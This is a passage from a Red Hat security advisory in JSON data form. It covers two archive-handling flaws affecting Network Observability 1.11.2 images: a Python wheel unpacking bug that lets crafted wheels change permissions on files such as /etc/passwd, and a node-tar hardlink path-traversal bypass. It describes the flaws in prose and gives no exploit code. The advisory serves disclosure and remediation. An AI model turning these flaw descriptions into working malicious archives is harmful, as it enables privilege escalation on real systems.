"text": "A path traversal flaw has been discovered in the python wheel too. The unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64"
],
"known_not_affected": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-24049"
},
{
"category": "external",
"summary": "RHBZ#2431959",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431959"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-24049",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24049"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-24049",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24049"
},
{
"category": "external",
"summary": "https://github.com/pypa/wheel/commit/7a7d2de96b22a9adf9208afcc9547e1001569fef",
"url": "https://github.com/pypa/wheel/commit/7a7d2de96b22a9adf9208afcc9547e1001569fef"
},
{
"category": "external",
"summary": "https://github.com/pypa/wheel/releases/tag/0.46.2",
"url": "https://github.com/pypa/wheel/releases/tag/0.46.2"
},
{
"category": "external",
"summary": "https://github.com/pypa/wheel/security/advisories/GHSA-8rrh-rw8j-w5fx",
"url": "https://github.com/pypa/wheel/security/advisories/GHSA-8rrh-rw8j-w5fx"
}
],
"release_date": "2026-01-22T04:02:08.706000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-02-18T08:39:41+00:00",
"details": "For details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"version": "3.1"
},
"products": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking"
},
{
"cve": "CVE-2026-24842",
"cwe": {
"id": "CWE-59",
"name": "Improper Link Resolution Before File Access (\u0027Link Following\u0027)"
},
"discovery_date": "2026-01-28T01:01:16.886629+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2433645"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in node-tar, a Node.js module for handling TAR archives. This vulnerability allows a remote attacker to bypass path traversal protections by crafting a malicious TAR archive. The security check for hardlink entries uses different path resolution logic than the actual hardlink creation, enabling the attacker to create hardlinks to arbitrary files outside the intended extraction directory. This could lead to unauthorized information disclosure or further system compromise.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an IMPORTANT vulnerability in node-tar, a Node.js module for handling TAR archives. The flaw allows an attacker to bypass path traversal protections by crafting a malicious TAR archive. This could lead to the creation of hardlinks to arbitrary files outside the intended extraction directory, potentially resulting in unauthorized information disclosure or further system compromise in affected Red Hat products utilizing node-tar for archive processing.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x"
],
"known_not_affected": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-24842"
},
{
"category": "external",
"summary": "RHBZ#2433645",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433645"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-24842",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24842"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46",
